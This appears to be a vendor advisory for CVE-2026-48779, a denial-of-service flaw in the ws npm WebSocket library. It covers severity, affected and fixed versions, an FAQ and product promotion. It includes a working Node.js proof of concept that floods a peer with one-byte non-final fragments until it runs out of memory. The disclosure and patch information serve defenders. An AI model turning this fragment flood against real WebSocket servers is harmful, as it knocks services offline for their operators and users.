CVE-2026-48779

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-48779 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.2.5, 6.2.4, 7.5.11, 8.21.0); upgrading removes the vulnerable code path.

Kodem intelligence

The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to [email protected] (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), [email protected] (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and [email protected] (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

1. What is CVE-2026-48779? CVE-2026-48779 is a high-severity uncontrolled resource consumption vulnerability in ws (npm), affecting versions >= 1.1.0, < 5.2.5. It is fixed in 5.2.5, 6.2.4, 7.5.11, 8.21.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-48779? CVE-2026-48779 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of ws are affected by CVE-2026-48779? ws (npm) versions >= 1.1.0, < 5.2.5 is affected.
4. Is there a fix for CVE-2026-48779? Yes. CVE-2026-48779 is fixed in 5.2.5, 6.2.4, 7.5.11, 8.21.0. Upgrade to this version or later.
5. Is CVE-2026-48779 exploitable, and should I be worried? Whether CVE-2026-48779 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-48779 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-48779?
   • Upgrade ws to 5.2.5 or later
   • Upgrade ws to 6.2.4 or later
   • Upgrade ws to 7.5.11 or later
   • Upgrade ws to 8.21.0 or later